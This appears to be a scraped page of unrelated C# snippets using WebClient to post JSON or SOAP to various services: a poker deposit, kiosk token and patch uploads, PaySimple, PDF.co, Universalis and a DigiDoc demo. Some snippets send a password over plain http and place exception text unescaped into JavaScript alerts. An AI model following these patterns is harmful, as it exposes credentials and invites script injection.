            WebClient webClient = new WebClient();
            webClient.Headers["Content-type"] = "application/json";
            webClient.Encoding = Encoding.UTF8;
            webClient.UploadString("http://devserver.hedgeem.com/Service1.svc/f_set_play_for_real_deposit_pledge", data);
            webClient.UploadString("http://localhost:59225/Service1.svc/f_set_play_for_real_deposit_pledge", data);
            // Empties the value of textbox
            txt_play_for_real_deposit_pledge.Text = "";
            _global_game_state_object = (DC_hedgeem_game_state)f_get_object_from_json_call_to_server("get_game_state_object/" + _table_id, typeof(DC_hedgeem_game_state));
            game_id = _global_game_state_object.p_game_id;
            int my_number_of_hands = _global_game_state_object.p_number_of_hands_int;
            enum_betting_stage my_betting_stage = f_get_current_betting_stage();
            _game_state = _global_game_state_object.p_current_state_enum;
            _hedgeem_hand_panels = new hedgeem_hand_panel[my_number_of_hands];
            _int_number_of_betting_stages = _global_game_state_object.p_number_of_betting_stages_int;
            _hedgeem_betting_panels = new BETTING_PANEL[_int_number_of_betting_stages, my_number_of_hands];
            f_update_game_id();
            // Method which calls the functions to render the screen.
            f_call_functions_to_render_screen();
        }
        catch (Exception ex)
        {
            string my_error_popup = "alert('Error in btn_play_for_real_deposit_pledge_Click - " + ex.Message.ToString() + "');";
            ClientScript.RegisterClientScriptBlock(this.GetType(), "Alert", my_error_popup, true);
            HedgeEmLogEvent my_log = new HedgeEmLogEvent();
            my_log.p_message = "Exception caught in btn_play_for_real_deposit_pledge_Click function " + ex.Message;
            my_log.p_method_name = "btn_play_for_real_deposit_pledge_Click";
            my_log.p_player_id = f_get_player_id();
            my_log.p_game_id = game_id;
            my_log.p_table_id = _table_id;
            log.Error(my_log.ToString());
        }
    }
示例#31
0
    protected void btnFetchNextToken_Click(object sender, EventArgs e)
    {
        try
        {
            if (ddlServices.SelectedIndex == 0)
            {
                add = "Please Select Service Type !";
                Page.ClientScript.RegisterStartupScript(this.GetType(), "myScript", "Warning('" + add + "');", true);
                return;
            }
            else
            {
                ReqFetchNextToken  objReqFetchNextToken  = new ReqFetchNextToken();
                RespFetchNextToken objRespFetchNextToken = new RespFetchNextToken();

                objReqFetchNextToken.TerminalID = Session["TerminalID"].ToString();
                objReqFetchNextToken.UserName   = Session["Username"].ToString();
                //objReqFetchNextToken.ServiceType = ddlServices.SelectedItem.Text;
                objReqFetchNextToken.ServiceType = Session["Privileges"].ToString();
                if (chkNeedToSkip.Checked == true)
                {
                    objReqFetchNextToken.IsNeedToSkip = true;
                }
                else
                {
                    objReqFetchNextToken.IsNeedToSkip = false;
                }

                WebClient client = new WebClient();
                client.Headers[HttpRequestHeader.ContentType] = "Application/Json";

                var    data    = JsonConvert.SerializeObject(objReqFetchNextToken);
                string result1 = client.UploadString(URL + "/FetchNextToken", "POST", data);

                MemoryStream memstrToReceive = new MemoryStream(Encoding.UTF8.GetBytes(result1));
                DataContractJsonSerializer objJsonSerRecv = new DataContractJsonSerializer(typeof(RespFetchNextToken));
                objRespFetchNextToken = (RespFetchNextToken)objJsonSerRecv.ReadObject(memstrToReceive);

                if (objRespFetchNextToken.Result)
                {
                    if (objRespFetchNextToken.TokenNo != "" && objRespFetchNextToken.TokenNo != null)
                    {
                        lblLastFatchTokenNo.Text = objRespFetchNextToken.TokenNo;
                    }

                    divLoader.Visible  = false;
                    pMsgLoader.Visible = false;
                    divLblLastTokenFatechNo.Visible = true;
                }
                else
                {
                    add = "No Token Available This Time!";
                    Page.ClientScript.RegisterStartupScript(this.GetType(), "myScript", "Failed('" + add + "');", true);
                    divLoader.Visible  = true;
                    pMsgLoader.Visible = true;
                    divLblLastTokenFatechNo.Visible = false;
                }
                if (lblLastFatchTokenNo.Text.Length == 1)
                {
                    lblLastFatchTokenNo.Text = "00" + lblLastFatchTokenNo.Text;
                    lblLastFatchTokenNo.Style.Add("font-size", "1000%");
                }
                else if (lblLastFatchTokenNo.Text.Length == 2)
                {
                    lblLastFatchTokenNo.Text = "0" + lblLastFatchTokenNo.Text;
                    lblLastFatchTokenNo.Style.Add("font-size", "1000%");
                }
                else if (lblLastFatchTokenNo.Text.Length == 3)
                {
                    lblLastFatchTokenNo.Style.Add("font-size", "1000%");
                }
                else if (lblLastFatchTokenNo.Text.Length == 4)
                {
                    lblLastFatchTokenNo.Style.Add("font-size", "800%");
                }
            }
        }
        catch (Exception ex)
        {
            Log.Write("Exception in btnFetchNextToken Error : - " + ex.ToString(), "");
        }
    }
    protected void RequestStatusChange_Click(object sender, EventArgs e)
    {
        if (UpdateFederationPassword1.Text != UpdateFederationPassword2.Text)
        {
            UpdateFederationStatus.Text = "Passwords do not match!";
            return;
        }

        ModifyFederationRequest newFederate = new ModifyFederationRequest();
        newFederate.NamespacePrefix = Namespace.Text;
        newFederate.OrganizationPOCEmail = OrganizationEmail.Text;
        newFederate.OrganizationPOCPassword = UpdateFederationPassword1.Text;

           System.Net.WebClient wc = new WebClient();
           string request = (new JavaScriptSerializer()).Serialize(newFederate);

           wc.Headers["Content-Type"] = "application/json; charset=utf-8";
           string response = "";
           if(FederateStateRequest.Text == "Offline")
            response = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/ModifyFederate/1", "POST", request);

           if (FederateStateRequest.Text == "Online")
           response = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/ModifyFederate/0", "POST", request);

           if (FederateStateRequest.Text == "Remove From Federation")
           response = wc.UploadString("http://3dr.adlnet.gov/federation/3DR_Federation_Mgmt.svc/ModifyFederate/5", "POST", request);

           RequestFederationResponse serverresponse = (new JavaScriptSerializer()).Deserialize<RequestFederationResponse>(response);

           BindDetails();

        UpdateFederationStatus.Text = serverresponse.message;
    }
示例#33
0
 protected override Task <string> UploadStringAsync(WebClient wc, string address, string data) => Task.Run(() => wc.UploadString(address, data));
    protected void Click_Function(object sender, EventArgs e)
    {
        Button b1 = sender as Button;
        String s  = b1.Text;

        string[] validFileTypes = { "zip", "rar" };
        string   ext            = System.IO.Path.GetExtension(FileUpload1.PostedFile.FileName);
        bool     isValidFile    = false;

        for (int i = 0; i < validFileTypes.Length; i++)
        {
            if (ext == "." + validFileTypes[i])
            {
                isValidFile = true;
                break;
            }
        }

        if (!isValidFile)
        {
            Response.Write("<script type='text/javascript'>alert( 'Zip File Are Only Allowed! Please Upload A valid File!' )</script>");
        }
        else
        {
            if (FileUpload1.HasFile)
            {
                PatchUpdateINI objReq = new PatchUpdateINI();
                // string s = Server.MapPath(FileUpload1.FileName);
                byte[] b = FileUpload1.FileBytes;
                if (s.ToLower() == "upload")
                {
                    objReq.Instant = false;
                }
                else if (s.ToLower() == "instant upload")
                {
                    objReq.Instant = true;
                }

                objReq.KioskIP   = new string[0];
                objReq.PatchName = FileUpload1.FileName;
                objReq.patch     = Convert.ToBase64String(b);
                int  newSize = 0;
                bool okey    = false;
                for (int i = 0; i < GV_Kiosk_Details.Rows.Count; i++)
                {
                    CheckBox cb = (CheckBox)GV_Kiosk_Details.Rows[i].Cells[1].FindControl("cbSelect");//Gets the

                    if (cb.Checked == true)
                    {
                        Array.Resize(ref objReq.KioskIP, newSize + 1);
                        Array.Resize(ref objReq.MachineSrNo, newSize + 1);
                        // how to get those select values and how store those values in array
                        objReq.KioskIP[newSize]     = GV_Kiosk_Details.Rows[i].Cells[2].Text;
                        objReq.MachineSrNo[newSize] = GV_Kiosk_Details.Rows[i].Cells[5].Text;
                        newSize++;
                        okey = true;
                    }
                    else
                    { //Do something here when CheckBox is UnChecked }
                    }
                }
                if (okey == false)
                {
                    Response.Write("<script type='text/javascript'>alert( 'Select Atleast one option' )</script>");
                    return;
                }

                try
                {
                    if (objds == null)
                    {
                        objds = new DataSet();
                    }

                    Reply objRes = new Reply();

                    // send request
                    using (WebClient client = new WebClient())
                    {
                        client.Headers[HttpRequestHeader.ContentType] = "text/json";

                        string     JsonString    = JsonConvert.SerializeObject(objReq);
                        EncRequest objEncRequest = new EncRequest();
                        objEncRequest.RequestData = AesGcm256.Encrypt(JsonString);
                        string dataEncrypted = JsonConvert.SerializeObject(objEncRequest);

                        string result = client.UploadString(URL + "/PatchSave", "POST", dataEncrypted);

                        EncResponse objResponse = JsonConvert.DeserializeObject <EncResponse>(result);
                        objResponse.ResponseData = AesGcm256.Decrypt(objResponse.ResponseData);
                        Newtonsoft.Json.JsonSerializer json = new Newtonsoft.Json.JsonSerializer();
                        json.NullValueHandling = NullValueHandling.Ignore;
                        StringReader sr = new StringReader(objResponse.ResponseData);
                        Newtonsoft.Json.JsonTextReader reader = new JsonTextReader(sr);
                        result = json.Deserialize <string>(reader);

                        if (result.ToLower().Contains("client"))
                        {
                            //Data Source
                            Response.Write("<script type='text/javascript'>alert('ClientPatch Updated SuccessFully')</script>");
                            bindKioskDetails();
                        }
                        else if (result.ToLower().Contains("monitor"))
                        {
                            Response.Write("<script type='text/javascript'>alert('MonitorPatch Updated SuccessFully')</script>");
                            bindKioskDetails();
                        }
                        else if (result.ToLower().Contains("lipirdservice"))
                        {
                            Response.Write("<script type='text/javascript'>alert('LipiRDService Updated SuccessFully')</script>");
                            bindKioskDetails();
                        }
                        else
                        {
                            Response.Write("<script type='text/javascript'>alert('Error Occurs While Updation ')</script>");
                        }
                    }
                }
                catch (Exception excp)
                {
                    Response.Write("<script type='text/javascript'>alert( 'catch error : '" + excp.Message + "' )</script>");
                }
            }
            else
            {
                Response.Write("<script type='text/javascript'>alert( 'Please Upload The File First' )</script>");
            }
        }
    }
示例#35
0
            ///<summary>Throws exception if the response from the server returned an http code of 300 or greater.</summary>
            private static T Request <T>(ApiRoute route, HttpMethod method, string authHeader, string body, T responseType, string routeId = "")
            {
                using (WebClient client = new WebClient()) {
                    client.Headers[HttpRequestHeader.Accept]        = "application/json";
                    client.Headers[HttpRequestHeader.ContentType]   = "application/json";
                    client.Headers[HttpRequestHeader.Authorization] = authHeader;
                    client.Encoding = UnicodeEncoding.UTF8;
                    //Post with Authorization headers and a body comprised of a JSON serialized anonymous type.
                    try {
                        string res = "";
                        //Only GET and POST are supported currently.
                        if (method == HttpMethod.Get)
                        {
                            res = client.DownloadString(GetApiUrl(route, routeId));
                        }
                        else if (method == HttpMethod.Post)
                        {
                            res = client.UploadString(GetApiUrl(route, routeId), HttpMethod.Post.Method, body);
                        }
                        else if (method == HttpMethod.Put)
                        {
                            res = client.UploadString(GetApiUrl(route, routeId), HttpMethod.Put.Method, body);
                        }
                        else
                        {
                            throw new Exception("Unsupported HttpMethod type: " + method.Method);
                        }
#if DEBUG
                        if ((typeof(T) == typeof(string)))                       //If user wants the entire json response as a string
                        {
                            return((T)Convert.ChangeType(res, typeof(T)));
                        }
#endif
                        return(JsonConvert.DeserializeAnonymousType(res, responseType));
                    }
                    catch (WebException wex) {
                        string res = "";
                        using (var sr = new StreamReader(((HttpWebResponse)wex.Response).GetResponseStream())) {
                            res = sr.ReadToEnd();
                        }
                        if (string.IsNullOrWhiteSpace(res))
                        {
                            //The response didn't contain a body.  Through my limited testing, it only happens for 401 (Unauthorized) requests.
                            if (wex.Response.GetType() == typeof(HttpWebResponse))
                            {
                                HttpStatusCode statusCode = ((HttpWebResponse)wex.Response).StatusCode;
                                if (statusCode == HttpStatusCode.Unauthorized)
                                {
                                    throw new ODException(Lans.g("PaySimple", "Invalid PaySimple credentials.  Check your Username and Key and try again."));
                                }
                            }
                        }
                        else
                        {
                            HandleWebException(res);
                        }
                        string errorMsg = wex.Message + (string.IsNullOrWhiteSpace(res) ? "" : "\r\nRaw response:\r\n" + res);
                        throw new Exception(errorMsg, wex);                       //If it got this far and haven't rethrown, simply throw the entire exception.
                    }
                    catch (Exception ex) {
                        //WebClient returned an http status code >= 300
                        ex.DoNothing();
                        //For now, rethrow error and let whoever is expecting errors to handle them.
                        //We may enhance this to care about codes at some point.
                        throw;
                    }
                }
            }
        static void Main(string[] args)
        {
            // Create standard .NET web client instance
            WebClient webClient = new WebClient();

            // Set API Key
            webClient.Headers.Add("x-api-key", API_KEY);

            // 1. RETRIEVE THE PRESIGNED URL TO UPLOAD THE FILE.
            // * If you already have a direct file URL, skip to the step 3.

            // Prepare URL for `Get Presigned URL` API call
            string query = Uri.EscapeUriString(string.Format(
                                                   "https://api.pdf.co/v1/file/upload/get-presigned-url?contenttype=application/octet-stream&name={0}",
                                                   Path.GetFileName(SourceFile)));

            try
            {
                // Execute request
                string response = webClient.DownloadString(query);

                // Parse JSON response
                JObject json = JObject.Parse(response);

                if (json["error"].ToObject <bool>() == false)
                {
                    // Get URL to use for the file upload
                    string uploadUrl       = json["presignedUrl"].ToString();
                    string uploadedFileUrl = json["url"].ToString();

                    // 2. UPLOAD THE FILE TO CLOUD.

                    webClient.Headers.Add("content-type", "application/octet-stream");
                    webClient.UploadFile(uploadUrl, "PUT", SourceFile);                     // You can use UploadData() instead if your file is byte[] or Stream
                    webClient.Headers.Remove("content-type");

                    // 3. CONVERT UPLOADED PDF FILE TO TXT

                    // URL for `PDF To Text` API call
                    var url = "https://api.pdf.co/v1/pdf/convert/to/text";

                    // Prepare requests params as JSON
                    Dictionary <string, object> parameters = new Dictionary <string, object>();
                    parameters.Add("name", Path.GetFileName(DestinationFile));
                    parameters.Add("password", Password);
                    parameters.Add("pages", Pages);
                    parameters.Add("url", uploadedFileUrl);
                    parameters.Add("async", Async);

                    // Convert dictionary of params to JSON
                    string jsonPayload = JsonConvert.SerializeObject(parameters);

                    try
                    {
                        // Execute POST request with JSON payload
                        response = webClient.UploadString(url, jsonPayload);

                        // Parse JSON response
                        json = JObject.Parse(response);

                        if (json["error"].ToObject <bool>() == false)
                        {
                            // Asynchronous job ID
                            string jobId = json["jobId"].ToString();
                            // URL of generated TXT file that will be available after the job completion
                            string resultFileUrl = json["url"].ToString();

                            // Check the job status in a loop.
                            // If you don't want to pause the main thread you can rework the code
                            // to use a separate thread for the status checking and completion.
                            do
                            {
                                string status = CheckJobStatus(jobId); // Possible statuses: "working", "failed", "aborted", "success".

                                // Display timestamp and status (for demo purposes)
                                Console.WriteLine(DateTime.Now.ToLongTimeString() + ": " + status);

                                if (status == "success")
                                {
                                    // Download TXT file
                                    webClient.DownloadFile(resultFileUrl, DestinationFile);

                                    Console.WriteLine("Generated TXT file saved as \"{0}\" file.", DestinationFile);
                                    break;
                                }
                                else if (status == "working")
                                {
                                    // Pause for a few seconds
                                    Thread.Sleep(3000);
                                }
                                else
                                {
                                    Console.WriteLine(status);
                                    break;
                                }
                            }while (true);
                        }
                        else
                        {
                            Console.WriteLine(json["message"].ToString());
                        }
                    }
                    catch (WebException e)
                    {
                        Console.WriteLine(e.ToString());
                    }
                }
                else
                {
                    Console.WriteLine(json["message"].ToString());
                }
            }
            catch (WebException e)
            {
                Console.WriteLine(e.ToString());
            }

            webClient.Dispose();

            Console.WriteLine();
            Console.WriteLine("Press any key...");
            Console.ReadKey();
        }
        /// <inheritdoc/>
        public void Upload(MarketBoardItemRequest request)
        {
            using var client = new WebClient();

            client.Headers.Add(HttpRequestHeader.ContentType, "application/json");

            Log.Verbose("Starting Universalis upload.");
            var uploader = this.dalamud.ClientState.LocalContentId;

            var listingsRequestObject = new UniversalisItemListingsUploadRequest();

            listingsRequestObject.WorldId    = this.dalamud.ClientState.LocalPlayer?.CurrentWorld.Id ?? 0;
            listingsRequestObject.UploaderId = uploader.ToString();
            listingsRequestObject.ItemId     = request.CatalogId;

            listingsRequestObject.Listings = new List <UniversalisItemListingsEntry>();
            foreach (var marketBoardItemListing in request.Listings)
            {
                var universalisListing = new UniversalisItemListingsEntry
                {
                    Hq             = marketBoardItemListing.IsHq,
                    SellerId       = marketBoardItemListing.RetainerOwnerId.ToString(),
                    RetainerName   = marketBoardItemListing.RetainerName,
                    RetainerId     = marketBoardItemListing.RetainerId.ToString(),
                    CreatorId      = marketBoardItemListing.ArtisanId.ToString(),
                    CreatorName    = marketBoardItemListing.PlayerName,
                    OnMannequin    = marketBoardItemListing.OnMannequin,
                    LastReviewTime = ((DateTimeOffset)marketBoardItemListing.LastReviewTime).ToUnixTimeSeconds(),
                    PricePerUnit   = marketBoardItemListing.PricePerUnit,
                    Quantity       = marketBoardItemListing.ItemQuantity,
                    RetainerCity   = marketBoardItemListing.RetainerCityId,
                };

                universalisListing.Materia = new List <UniversalisItemMateria>();
                foreach (var itemMateria in marketBoardItemListing.Materia)
                {
                    universalisListing.Materia.Add(new UniversalisItemMateria
                    {
                        MateriaId = itemMateria.MateriaId,
                        SlotId    = itemMateria.Index,
                    });
                }

                listingsRequestObject.Listings.Add(universalisListing);
            }

            var upload = JsonConvert.SerializeObject(listingsRequestObject);

            client.UploadString(ApiBase + $"/upload/{ApiKey}", "POST", upload);
            Log.Verbose(upload);

            var historyRequestObject = new UniversalisHistoryUploadRequest();

            historyRequestObject.WorldId    = this.dalamud.ClientState.LocalPlayer?.CurrentWorld.Id ?? 0;
            historyRequestObject.UploaderId = uploader.ToString();
            historyRequestObject.ItemId     = request.CatalogId;

            historyRequestObject.Entries = new List <UniversalisHistoryEntry>();
            foreach (var marketBoardHistoryListing in request.History)
            {
                historyRequestObject.Entries.Add(new UniversalisHistoryEntry
                {
                    BuyerName    = marketBoardHistoryListing.BuyerName,
                    Hq           = marketBoardHistoryListing.IsHq,
                    OnMannequin  = marketBoardHistoryListing.OnMannequin,
                    PricePerUnit = marketBoardHistoryListing.SalePrice,
                    Quantity     = marketBoardHistoryListing.Quantity,
                    Timestamp    = ((DateTimeOffset)marketBoardHistoryListing.PurchaseTime).ToUnixTimeSeconds(),
                });
            }

            client.Headers.Add(HttpRequestHeader.ContentType, "application/json");

            var historyUpload = JsonConvert.SerializeObject(historyRequestObject);

            client.UploadString(ApiBase + $"/upload/{ApiKey}", "POST", historyUpload);
            Log.Verbose(historyUpload);

            Log.Verbose("Universalis data upload for item#{0} completed.", request.CatalogId);
        }
示例#38
0
        public static void Main(string[] args)
        {
            // only works on partial core?
            Console.WriteLine(typeof(object).AssemblyQualifiedName);


            // Z:\jsc.svn\examples\javascript\crypto\VerifyIdentityAffinity\VerifyIdentityAffinity\ApplicationWebService.cs

            // https://tsp.demo.sk.ee/?wsdl

            //sk.DigiDocServicePortTypeClient


            //  __Task.<TResult>Run_06003e0c(Program.CS___9__CachedAnonymousMethodDelegate2).Wait();



            //public static Task<TResult> Run<TResult>(Func<Task<TResult>> function);
            //public static Task Run(Func<Task> function);
            //public static Task<TResult> Run<TResult>(Func<TResult> function);

            //Task.Run<Task>(

            //  System.ServiceModel.ClientBase`1 .ctor


            // http://stackoverflow.com/questions/1082850/java-reflection-create-an-implementing-class

            //{ Message = , StackTrace = java.lang.NullPointerException
            //        at JVMCLRWSDLMID.sk.DigiDocServicePortTypeClient.MobileAuthenticateAsync(DigiDocServicePortTypeClient.java:108)
            //        at JVMCLRWSDLMID.Program.main(Program.java:54)

            //xPOST.Headers[HttpRequestHeader.ContentLength] = "" + data.Length;


            // +		InnerException	{"The 'Content-Length' header must be modified using the appropriate property or method.\r\nParameter name: name"}	System.Exception {System.ArgumentException}


            // http://referencesource.microsoft.com/#System/net/System/Net/webclient.cs
            //   internal UploadBitsState(WebRequest request, Stream readStream, byte[] buffer, int chunkSize, byte[] header, byte[] footer, CompletionDelegate uploadCompletionDelegate, CompletionDelegate downloadCompletionDelegate, AsyncOperation asyncOp, ProgressData progress, WebClient webClient) {

            // http://stackoverflow.com/questions/2131245/c-webclient-assigning-chunk-size-when-using-asyncuploaddata


            // tested on ubuntu/openjdk
#if TESTINGWEBCLIENT
            #region oldschool SOAP
            try
            {
                var xPOST = new WebClient();


                // http://stackoverflow.com/questions/287126/how-to-post-soap-request-from-net

                // https://magedfarag.wordpress.com/2012/12/14/call-wcf-sevice-using-only-webclient-and-soap-xml/

                //xPOST.Headers[HttpRequestHeader.ContentType] = "application/soap+xml;charset=UTF-8";
                //xPOST.Headers[HttpRequestHeader.ContentType] = "text/xml; charset=UTF-8";

                //{ Message = , StackTrace = java.lang.NullPointerException
                //        at JVMCLRWSDLMID.Program.main(Program.java:46)
                // }

                xPOST.Headers["Content-Type"] = "text/xml; charset=UTF-8";
                xPOST.Headers["SOAPAction"]   = "\"\"";

                // webclient chunks if data is more than
                // Content-Length: 1023
                var data = @"<s:Envelope xmlns:s=""http://schemas.xmlsoap.org/soap/envelope/""><s:Body s:encodingStyle=""http://schemas.xmlsoap.org/soap/encoding/"" xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema""><q1:MobileAuthenticate xmlns:q1=""http://www.sk.ee/DigiDocService/DigiDocService_2_3.wsdl""><IDCode xsi:type=""xsd:string"">14212128025</IDCode><CountryCode xsi:type=""xsd:string"">EE</CountryCode><PhoneNo xsi:type=""xsd:string"">37200007</PhoneNo><Language xsi:type=""xsd:string"">EST</Language><ServiceName xsi:type=""xsd:string"">Testimine</ServiceName><MessageToDisplay xsi:type=""xsd:string"">Testimine</MessageToDisplay><SPChallenge xsi:type=""xsd:string"">03010400000000000000</SPChallenge><MessagingMode xsi:type=""xsd:string"">asynchClientServer</MessagingMode><AsyncConfiguration xsi:type=""xsd:int"">0</AsyncConfiguration><ReturnCertData xsi:type=""xsd:boolean"">true</ReturnCertData><ReturnRevocationData xsi:type=""xsd:boolean"">false</ReturnRevocationData></q1:MobileAuthenticate></s:Body></s:Envelope>".Trim();


                // { xPOSTresponse =  }
                //var xPOSTresponse = xPOST.UploadString("https://tsp.demo.sk.ee/", "POST", data);
                var xPOSTresponse = xPOST.UploadString("https://tsp.demo.sk.ee:443/", "POST", data);
                //var xPOSTresponse = xPOST.UploadString("https://digidocservice.sk.ee:443/", "POST", data);

                //xPOST.UploadStringTaskAsync
                //UploadString { err = javax.net.ssl.SSLHandshakeException: sun.security.validator.ValidatorException: PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: unable to find valid certification path to requested target }
                //exit UploadString { conn = sun.net.www.protocol.https.DelegateHttpsURLConnection:https://tsp.demo.sk.ee:443/ }

                //var xPOSTresponse = xPOST.UploadString("https://tsp.demo.sk.ee/", data);

                Console.WriteLine(new { xPOSTresponse });

                // https://sites.google.com/a/jsc-solutions.net/backlog/knowledge-base/2015/201510/20151005
                var Envelope = XElement.Parse(xPOSTresponse);
                // <SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:dig="http://www.sk.ee/DigiDocService/DigiDocService_2_3.wsdl" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"><SOAP-ENV:Header/>
                // <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><dig:MobileAuthenticateResponse><Sesscode xsi:type="xsd:int">471237527</Sesscode><Status xsi:type="xsd:string">OK</Status><UserIDCode xsi:type="xsd:string">14212128025</UserIDCode>



                // Body = <SOAP-ENV:Header xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" />
                var Body = Envelope.Elements().Skip(1).FirstOrDefault();


                //Body = <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/">
                //  <dig:MobileAuthenticateResponse xmlns:dig="http://www.sk.ee/DigiDocService/DigiDocService_2_3.wsdl">
                //    <Sessc...


                // loooky isnt jsc serializing api calls the same way?
                var Response = Body.Elements().FirstOrDefault();

                var fields = Response.Elements();

                // { field = <UserIDCode xsi:type="xsd:string" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">14212128025</UserIDCode> }
                foreach (var field in fields)
                {
                    //Console.WriteLine(new { field });
                    Console.WriteLine(new { field.Name.LocalName, field.Value });
                }


                //
                //Console.WriteLine(new { Response });
            }
            catch (Exception err)
            {
                Console.WriteLine(new { err.Message, err.StackTrace });
            }
            #endregion

            Console.WriteLine("done");
            Console.ReadLine();
            return;
#endif


            try
            {
                // http://www.microsoft.com/en-us/download/details.aspx?id=44226

                // java.lang.reflect.Proxy to the rescue!

                // goto x1;



x1:

                //System.ServiceModel.OperationContext.Current.
                //var c = new sk.DigiDocServicePortTypeClient();
                //var c = new sk.DigiDocServicePortTypeClient("DigiDocService", "https://tsp.demo.sk.ee:443");
                var c = new sk.DigiDocServicePortTypeClient("DigiDocService", "https://digidocservice.sk.ee:443");

                //var requestInterceptor = new InspectorBehavior();

                //c.Endpoint.EndpointBehaviors.Add(requestInterceptor);

                //<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
                //  <s:Header>
                //    <Action s:mustUnderstand="1" xmlns="http://schemas.microsoft.com/ws/2005/05/addressing/none" />
                //  </s:Header>
                //  <s:Body s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
                //    <q1:MobileAuthenticate xmlns:q1="http://www.sk.ee/DigiDocService/DigiDocService_2_3.wsdl">
                //      <IDCode xsi:type="xsd:string">14212128025</IDCode>
                //      <CountryCode xsi:type="xsd:string">EE</CountryCode>
                //      <PhoneNo xsi:type="xsd:string">37200007</PhoneNo>
                //      <Language xsi:type="xsd:string">EST</Language>
                //      <ServiceName xsi:type="xsd:string">Testimine</ServiceName>
                //      <MessageToDisplay xsi:type="xsd:string">Testimine</MessageToDisplay>
                //      <SPChallenge xsi:type="xsd:string">03010400000000000000</SPChallenge>
                //      <MessagingMode xsi:type="xsd:string">asynchClientServer</MessagingMode>
                //      <AsyncConfiguration xsi:type="xsd:int">0</AsyncConfiguration>
                //      <ReturnCertData xsi:type="xsd:boolean">true</ReturnCertData>
                //      <ReturnRevocationData xsi:type="xsd:boolean">false</ReturnRevocationData>
                //    </q1:MobileAuthenticate>
                //  </s:Body>
                //</s:Envelope>

                //<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:dig="http://www.sk.ee/DigiDocService/DigiDocService_2_3.wsdl" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
                //  <SOAP-ENV:Header />
                //  <SOAP-ENV:Body SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
                //    <dig:MobileAuthenticateResponse>
                //      <Sesscode xsi:type="xsd:int">1176437113</Sesscode>
                //      <Status xsi:type="xsd:string">OK</Status>
                //      <UserIDCode xsi:type="xsd:string">14212128025</UserIDCode>
                //      <UserGivenname xsi:type="xsd:string">SEITSMES</UserGivenname>
                //      <UserSurname xsi:type="xsd:string">TESTNUMBER</UserSurname>
                //      <UserCountry xsi:type="xsd:string">EE</UserCountry>
                //      <UserCN xsi:type="xsd:string">TESTNUMBER,SEITSMES,14212128025</UserCN>
                //      <CertificateData xsi:type="xsd:string">MIIE0TCCA7mgAwIBAgIQPQ9ysbj2GdNVIlXEV07JAzANBgkqhkiG9w0BAQsFADBs
                //MQswCQYDVQQGEwJFRTEiMCAGA1UECgwZQVMgU2VydGlmaXRzZWVyaW1pc2tlc2t1
                //czEfMB0GA1UEAwwWVEVTVCBvZiBFU1RFSUQtU0sgMjAxMTEYMBYGCSqGSIb3DQEJ
                //ARYJcGtpQHNrLmVlMB4XDTE1MDQwNjA5NDU0MFoXDTE2MTIzMTIxNTk1OVowgasx
                //CzAJBgNVBAYTAkVFMRswGQYDVQQKDBJFU1RFSUQgKE1PQklJTC1JRCkxFzAVBgNV
                //BAsMDmF1dGhlbnRpY2F0aW9uMSgwJgYDVQQDDB9URVNUTlVNQkVSLFNFSVRTTUVT
                //LDE0MjEyMTI4MDI1MRMwEQYDVQQEDApURVNUTlVNQkVSMREwDwYDVQQqDAhTRUlU
                //U01FUzEUMBIGA1UEBRMLMTQyMTIxMjgwMjUwgZ8wDQYJKoZIhvcNAQEBBQADgY0A
                //MIGJAoGBAMFo0cOULrm6HHJdMsyYVq6bBmCU4rjg8eonNnbWNq9Y0AAiyIQvJ3xD
                //ULnfwJD0C3QI8Y5RHYnZlt4U4Yt4CI6JenMySV1hElOtGYP1EuFPf643V11t/mUD
                //gY6aZaAuPLNvVYbeVHv0rkunKQ+ORABjhANCvHaErqC24i9kv3mVAgMBAAGjggGx
                //MIIBrTAJBgNVHRMEAjAAMA4GA1UdDwEB/wQEAwIEsDCBmQYDVR0gBIGRMIGOMIGL
                //BgorBgEEAc4fAwMBMH0wWAYIKwYBBQUHAgIwTB5KAEEAaQBuAHUAbAB0ACAAdABl
                //AHMAdABpAG0AaQBzAGUAawBzAC4AIABPAG4AbAB5ACAAZgBvAHIAIAB0AGUAcwB0
                //AGkAbgBnAC4wIQYIKwYBBQUHAgEWFWh0dHA6Ly93d3cuc2suZWUvY3BzLzAnBgNV
                //HREEIDAegRxzZWl0c21lcy50ZXN0bnVtYmVyQGVlc3RpLmVlMB0GA1UdDgQWBBSB
                //iUUnibDAPTHAuhRAwSvWzPfoEjAgBgNVHSUBAf8EFjAUBggrBgEFBQcDAgYIKwYB
                //BQUHAwQwIgYIKwYBBQUHAQMEFjAUMAgGBgQAjkYBATAIBgYEAI5GAQQwHwYDVR0j
                //BBgwFoAUQbb+xbGxtFMTjPr6YtA0bW0iNAowRQYDVR0fBD4wPDA6oDigNoY0aHR0
                //cDovL3d3dy5zay5lZS9yZXBvc2l0b3J5L2NybHMvdGVzdF9lc3RlaWQyMDExLmNy
                //bDANBgkqhkiG9w0BAQsFAAOCAQEANgEwKY0U7zsBtovuU/etxd+tprvTQNpffa92
